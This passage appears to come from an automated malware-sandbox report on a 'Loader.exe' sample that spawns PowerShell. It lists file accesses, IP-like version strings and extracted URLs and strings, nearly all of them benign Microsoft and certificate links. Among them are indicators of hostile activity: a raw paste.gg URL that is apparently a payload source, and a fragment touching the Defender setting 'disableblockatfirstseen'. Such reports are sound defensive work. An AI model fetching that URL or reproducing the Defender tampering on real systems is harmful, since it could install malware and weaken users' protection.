non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll.config" "Loader.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Numerics" "Loader.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.INI" "Loader.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll.config" "Loader.exe" trying to access non-existent file "Z:\" "Loader.exe" trying to access non-existent file "C:\Loader.exe.Local\" "Loader.exe" trying to access non-existent file "C:\Windows\SystemResources\USER32.dll.mun" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM"4d:T989,"0.0.0.0" "2.5.29.37" "2.5.29.35" Potential IP "4.0.0.0" found in string "icrosoft.CSharp,4.0.0.0,,b03f5f7f11d50a3a,MSIL" Potential IP "3.0.0.0" found in string "ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "4.0.0.0" found in string "ersion=4.0.0.0, Culture=neutral, PublicKeyToken=b03f" "192.168.0.2" Potential IP "4.0.0.0" found in string "on=4.0.0.0," "0.0.0.00000" Potential IP "4.0.0.0" found in string "ystem.Data.SqlXml,4.0.0.0,,b77a5c561934e089,MSIL" Potential IP "4.0.0.0" found in string "n=4.0.0.0, Culture=n1" "1.1.0.1" "3.0.0.0" "2.5.29.10" "2.5.29.19" "2.5.29.14" "2.5.29.15" Potential IP "4.0.0.0" found in string "Maximum number of errors to retain in a sessionion=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" Potential IP "4.0.0.0" found in string "rsion=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" Potential IP "4.0.0.0" found in string "on=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934" Potential IP "4.0.0.0" found in string "4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e3%{@" Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.Security.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "4.0.0.0" found in string "=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" Potential IP "3.0.0.0" found in string "icrosoft.WSMan.Management.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.ConsoleHost.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "4.0.0.0" found in string "on=4.0.0.0, Cu" "2.5.29.31" Potential IP "4.0.0.0" found in string "ersion=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />", Potential IP "4.0.0.0" found in string "on=4.0.0.0 Culture=neutral PublicKeyToken=b03f5f7f11d50a3a" />" Potential IP "4.0.0.0" found in string "ystem.Numerics,4.0.0.0,,b77a5c561934e089" Potential IP "4.0.0.0" found in string "ystem.Management,4.0.0.0,,b03f5f7f11d50a3a" Potential IP "2.5.29.37" found in string "%2.5.29.37" "2.5.29.1" "2.5.29.32" "2.5.4.3" Potential IP "2.5.29.35" found in string "#2.5.29.35" "2.5.29.17" "2.5.4.11" "2.5.4.8" "2.5.4.6" "2.5.4.10" "2.5.4.5" "2.5.4.7" Potential IP "0.0.0.0" found in string "0.0.0.0," Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.Commands.Management.resources,3.0.0.0,en-US,31bf3856ad364e35" "192.168.0.1" "255.255.255.255" "1.10.3.6"4e:T67da,Pattern match: "https://paste.gg/p/ssev1a/b16d3698e11c4e1dbbeedf28e4340e5d/files/ded738e3aaac405aaf9f1a7546b7350f/raw" Heuristic match: "paste.gg" Heuristic match: "%windir%\assembly\nativeimages_v4.0.30319_64\microsoft.we0722664#\5b6dc6ced38a636165cb1ed15c9505e5\microsoft.wsman.management.ni" Heuristic match: "%windir%\system32\windowspowershell\v1.0\powershell.exe add-type -assemblyname system.windows.forms;[system.windows.forms.me" Heuristic match: "= 'disableblockatfirstseen'; parametertype = 'system.boolean'; bindings = 'in'; value = $__cmdletization_defaultvalue; isvaluepresent = $__cmdletization_defaultvalueispresent} } $__cmdletization_methodparameters.add($__cmdletization_methodpar" Pattern match: "microsoft.net/framework64/v4.0.30319/" Heuristic match: "64\system.ma" Heuristic match: "osoft.ma" Pattern match: "microsoft.net/assembly/gac_msil/system/v4.0_4.0.0.0__b77a5c561934e089/system.dll" Heuristic match: "ystem.drawing.ni" Heuristic match: "ystem.windows.fo" Pattern match: "microsoft.net/assembly/gac_msil/system.windows.forms/v4.0_4.0.0.0__b77a5c561934e089/system.windows.forms.dll" Pattern match: "microsoft.net/assembly/gac_msil/system.management.automation/v4.0_3.0.0.0__31bf3856ad364e35/system.management.automation.dll" Pattern match: "https://go.microsoft.com/fwlink/?linkid=225750" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113316" Pattern match: "https://go.microsoft.com/fwlink/?linkid=160712" Pattern match: "http://schemas.microsoft.com/powershell/microsoft.powershell" Heuristic match: "set-location $myinvocation.mycommand.name" Heuristic match: "get-content $file | more.com" Pattern match: "https://go.microsoft.com/fwlink/?linkid=225747" Pattern match: "https://go.microsoft.com/fwlink/?linkid=138336" Pattern match: "https://go.microsoft.com/fwlink/?linkid=217469" Pattern match: "https://go.microsoft.com/fwlink/?linkid=138335" Pattern match: "https://go.microsoft.com/fwlink/?linkid=138338" Pattern match: "https://go.microsoft.com/fwlink/?linkid=138337" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113408" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113415" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113355" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113349" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113387" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113403" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113424" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113429" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113430" Pattern match: "https://go.microsoft.com/fwlink/?linkid=525909" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113425" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113336" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113361" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113401" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113380" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113285" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113322" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113338" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113426" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113280" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135195" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113427" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113407" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113312" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113334" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113326" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113335" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113313" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113393" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113388" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113286" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113318" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113446" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113343" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113360" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113417" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113348" Pattern match: "https://go.microsoft.com/fwlink/?linkid=217450" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113390" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113306" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113352" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113296" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113339" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113342" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113288" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113371" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113299" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113341" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135203" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135201" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113449" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113325" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113375" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113295" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113294" Pattern match: "https://go.microsoft.com/fwlink/?linkid=403731" Pattern match: "https://go.microsoft.com/fwlink/?linkid=403730" Pattern match: "https://go.microsoft.com/fwlink/?linkid=403732" Pattern match: "https://go.microsoft.com/fwlink/?linkid=403733" Pattern match: "https://go.microsoft.com/fwlink/?linkid=403734" Pattern match: "https://go.microsoft.com/fwlink/?linkid=403735" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113428" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113421" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113420" Pattern match: "https://go.microsoft.com/fwlink/?linkid=217038" Pattern match: "https://go.microsoft.com/fwlink/?linkid=217033" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113297" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113340" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135204" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135255" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113290" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135213" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135221" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113447" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135256" Pattern match: "https://go.microsoft.com/fwlink/?linkid=144303" Pattern match: "https://go.microsoft.com/fwlink/?linkid=144302" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113302" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113301" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113303" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113304" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113363" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113368" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113367" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113364" Pattern match: "https://go.microsoft.com/fwlink/?linkid=217031" Pattern match: "https://go.microsoft.com/fwlink/?linkid=217032" Pattern match: "https://go.microsoft.com/fwlink/?linkid=217034" Pattern match: "https://go.microsoft.com/fwlink/?linkid=217035" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135244" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135243" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135276" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113453" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135247" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135155" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135269" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135234" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113333" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113400" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113419" Pattern match: "https://go.microsoft.com/fwlink/?linkid=217448" Pattern match: "https://go.microsoft.com/fwlink/?linkid=507579" Pattern match: "https://go.microsoft.com/fwlink/?linkid=528577" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113278" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113282" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113284" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113347" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113289" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113293" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113308" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113310" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113320" Pattern match: "https://go.microsoft.com/fwlink/?linkid=389281" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113351" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113321" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113397" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113370" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113369" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113357" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113376" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113327" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113319" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113353" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113395" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113373" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113350" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113382" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113292" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113283" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113345" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113329" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113354" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113404" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113418" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113374" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113383" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113384" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113392" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113396" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113324" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135277" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113412" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135206" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135261" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113332" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113414" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113406" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113416" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113386" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113385" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113399" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113359" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135266" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135209" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135207" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135197" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135215" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135253" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135263" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135254" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135194" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135246" Pattern match: "https://go.microsoft.com/fwlink/?linkid=219990" Pattern match: "https://go.microsoft.com/fwlink/?linkid=137749" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135252" Pattern match: "https://go.microsoft.com/fwlink/?linkid=799466" Pattern match: "https://go.microsoft.com/fwlink/?linkid=799468" Pattern match: "https://go.microsoft.com/fwlink/?linkid=799469" Pattern match: "https://go.microsoft.com/fwlink/?linkid=524082" Pattern match: "https://go.microsoft.com/fwlink/?linkid=526220" Pattern match: "https://go.microsoft.com/fwlink/?linkid=526219" Pattern match: "https://go.microsoft.com/fwlink/?linkid=219982" Pattern match: "https://go.microsoft.com/fwlink/?linkid=219983" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113314" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135198" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135281" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135227" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135257" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135235" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135248" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113337" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113346" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113381" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135245" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113402" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135220" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135262" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135200" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135268" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135271" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135238" Pattern match: "https://go.microsoft.com/fwlink/?linkid=135217" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113305" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113389" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113311" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113315" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113394" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113287" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113291" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113307" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113391" Pattern match: "https://go.microsoft.com/fwlink/?linkid=786749" Pattern match: "https://go.microsoft.com/fwlink/?linkid=786750" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113323" Pattern match: "https://go.microsoft.com/fwlink/?linkid=394373" Pattern match: "https://go.microsoft.com/fwlink/?linkid=394370" Pattern match: "https://go.microsoft.com/fwlink/?linkid=394374" Pattern match: "https://go.microsoft.com/fwlink/?linkid=141438" Pattern match: "https://go.microsoft.com/fwlink/?linkid=141442" Pattern match: "https://go.microsoft.com/fwlink/?linkid=141443" Pattern match: "https://go.microsoft.com/fwlink/?linkid=141463" Pattern match: "https://go.microsoft.com/fwlink/?linkid=141464" Pattern match: "https://go.microsoft.com/fwlink/?linkid=141446" Pattern match: "https://go.microsoft.com/fwlink/?linkid=141437" Pattern match: "https://go.microsoft.com/fwlink/?linkid=141439" Pattern match: "https://go.microsoft.com/fwlink/?linkid=141444" Pattern match: "https://go.microsoft.com/fwlink/?linkid=141458" Pattern match: "https://go.microsoft.com/fwlink/?linkid=141453" Pattern match: "https://go.microsoft.com/fwlink/?linkid=141448" Pattern match: "https://go.microsoft.com/fwlink/?linkid=141449" Heuristic match: "/.net/netclasses/httpwebrequest/connect__group$$/" Pattern match: "http://go.microsoft.com/fwlink/?linkid=42127" Pattern match: "http://www.w3.org/2000/09/xmldsig#dsa-sha1" Pattern match: "http://www.w3.org/2000/09/xmldsig#rsa-sha1" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#rsa-sha384" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#rsa-sha512" Pattern match: "http://www.w3.org/2000/09/xmldsig#sha1" Pattern match: "http://www.w3.org/2001/04/xmlenc#sha256" Pattern match: "http://www.w3.org/2001/04/xmlenc#sha512" Pattern match: "http://www.w3.org/2001/04/xmlenc#ripemd160" Pattern match: "http://www.w3.org/2001/04/xmlenc#des-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#tripledes-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#kw-tripledes" Pattern match: "http://www.w3.org/2001/04/xmlenc#aes128-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#kw-aes128" Pattern match: "http://www.w3.org/2001/04/xmlenc#aes192-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#kw-aes192" Pattern match: "http://www.w3.org/2001/04/xmlenc#aes256-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#kw-aes256" Pattern match: "http://www.w3.org/tr/2001/rec-xml-c14n-20010315" Pattern match: "http://www.w3.org/tr/2001/rec-xml-c14n-20010315#withcomments" Pattern match: "http://www.w3.org/2001/10/xml-exc-c14n#" Pattern match: "http://www.w3.org/2001/10/xml-exc-c14n#withcomments" Pattern match: "http://www.w3.org/2000/09/xmldsig#base64" Pattern match: "http://www.w3.org/tr/1999/rec-xpath-19991116" Pattern match: "http://www.w3.org/tr/1999/rec-xslt-19991116" Pattern match: "http://www.w3.org/2000/09/xmldsig#enveloped-signature" Pattern match: "http://www.w3.org/2002/07/decrypt#xml" Pattern match: "http://www.w3.org/2000/09/xmldsig#" Pattern match: "http://www.w3.org/2001/04/xmlenc#" Pattern match: "http://www.w3.org/2000/09/xmldsig#hmac-sha1" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#md5" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#sha384" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-md5" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-ripemd160" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-sha256" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-sha384" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-sha512" Pattern match: "http://www.w3.org/2000/xmlns/" Pattern match: "http://www.w3.org/xml/1998/namespace" Pattern match: "http://schemas.microsoft.com/.netconfiguration/v2.0" Pattern match: "system.web/anonymousidentification" Pattern match: "system.web/authentication" Pattern match: "system.web/authorization" Pattern match: "system.web/browsercaps" Pattern match: "system.web/clienttarget" Pattern match: "system.web/compilation" Pattern match: "system.web/customerrors" Pattern match: "system.web/deployment" Pattern match: "system.web/devicefilters" Pattern match: "system.web/fulltrustassemblies" Pattern match: "system.web/globalization" Pattern match: "system.web/healthmonitoring" Pattern match: "system.web/hostingenvironment" Pattern match: "system.web/httpcookies" Pattern match: "system.web/httphandlers" Pattern match: "system.web/httpmodules" Pattern match: "system.web/httpruntime" Pattern match: "system.web/identity" Pattern match: "system.web/machinekey" Pattern match: "system.web/membership" Pattern match: "system.web/mobilecontrols" Pattern match: "system.web/pages" Pattern match: "system.web/partialtrustvisibleassemblies" Pattern match: "system.web/processmodel" Pattern match: "system.web/profile" Pattern match: "system.web/protocols" Pattern match: "system.web/rolemanager" Pattern match: "system.web/securitypolicy" Pattern match: "system.web/sessionpagestate" Pattern match: "system.web/sessionstate" Pattern match: "system.web/sitemap" Pattern match: "system.web/trace" Pattern match: "system.web/trust" Pattern match: "system.web/urlmappings" Pattern match: "system.web/webcontrols" Pattern match: "system.web/webparts" Pattern match: "system.web/webservices" Pattern match: "system.web/xhtmlconformance" Pattern match: "system.web/caching" Pattern match: "system.web/caching/cache" Pattern match: "system.web/caching/outputcache" Pattern match: "system.web/caching/outputcachesettings" Pattern match: "system.web/caching/sqlcachedependency" Pattern match: "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/role" Pattern match: "http://www.w3.org/2001/xmlschema#string" Heuristic match: "ystem.management.automation.re" Pattern match: "http://www.validationtest.contoso.com/test%ld.html" Heuristic match: "md.et" Heuristic match: "microsoft-windows-client-features-package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" Heuristic match: "microsoft-windows-client-features-wow64-package0011~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" Heuristic match: ":\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-wow64-package0011~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "www.digicert.com1" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "https://aka.ms/pswindows" Pattern match: "microsoft.net/assembly/gac_msil/microsoft.powershell.consolehost/v4.0_3.0.0.0__31bf3856ad364e35/microsoft.powershell.consolehost.dll" Heuristic match: "ent.au" Heuristic match: "anagement.automation.re" Pattern match: "microsoft.net/assembly/gac_64/mscorlib/v4.0_4.0.0.0__b77a5c561934e089/mscorlib.dll" Pattern match: "www.digicert.com1$0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1!0" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://www.microsoft.com0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "https://go.microsoft.com/fwlink/?linkid=526726" Pattern match: "https://go.microsoft.com/fwlink/?linkid=526920" Pattern match: "https://go.microsoft.com/fwlink/?linkid=526919" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Pattern match: "oft.com/pki/cert" Pattern match: "www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" Pattern match: "www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Pattern match: "http://www.microsoft.com" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm0" Heuristic match: "tion.re" Heuristic match: "tomation.re" Heuristic match: "??\c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" Pattern match: "crl.microsoft.com/pki/crl/products/micwinpca_2010-07-06.crl0w" Pattern match: "http://www.microsoft.com/pki/certs/micwinpca_2010-07-06.crt0" Heuristic match: "system.activityhistory.id" Heuristic match: "system.identityprovider.name" Heuristic match: "system.sam.name" Heuristic match: "system.structuredquery.virtual.cc" Heuristic match: "system.structuredquery.virtual.to" Heuristic match: "system.structuredquery.is" Heuristic match: "system.protocol.name" Heuristic match: "system.appusermodel.id" Heuristic match: "system.structuredquerytype.implicit.is" Pattern match: "www.microsoft.com/pkiops/docs/repository.hw" Pattern match: "www.microsoft.com/pkik" Pattern match: "www.microsoft.com/pkiops/docs/repository.hg" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-k" Pattern match: "http://www.microsoft.com/" Pattern match: "emas.microsoft.com/cmdlets-over-objects/2009/11" Pattern match: "https://wdcp.microsoft.com/wdcp.svc/submitreport" Pattern match: "go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&" Heuristic match: "c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" Heuristic match: "wow64-package0011~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" Pattern match: "paste.gg/p/ssev1a/b16d3698e11c4e1dbbeedf28e4340e5d/files/ded738e3aaac405aaf9f1a7546b7350f/raw" Pattern match: "crl.microsoft.com/pki/crl/product" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-" Pattern match: "www.micr" Pattern match: "ft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" Pattern match: "http://i.pki.goog/r4.crt0+" Pattern match: "http://c.pki.goog/r/r4.crl0" Heuristic match: "x ,?n{k,.sa" Pattern match: "http://i.pki.goog/gsr1.crt0-" Pattern match: "http://c.pki.goog/r/gsr1.crl0" Pattern match: "http://o.pki.goog/s/we1/-ia0%" Pattern match: "http://i.pki.goog/we1.crt0" Pattern match: "http://c.pki.goog/we1/o1fiiaeftlk.crl0" Pattern match: "www.insidersurveys.windows.com06" Pattern match: "www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl" Pattern match: "crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0" Pattern match: "www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0" Pattern match: "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0t" Pattern match: "www.microsoft.com/pki/certs/microsoftrootcert.crt0" Pattern match: "http://microsoft.com0" Heuristic match: ".microsoftstore.com.hk" Heuristic match: ".windowsphone.co"4f:T6869,Found URL "https://go.microsoft.com/fwlink/?linkid=225750" - Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=113316')]param(" - Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=160712" - Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: 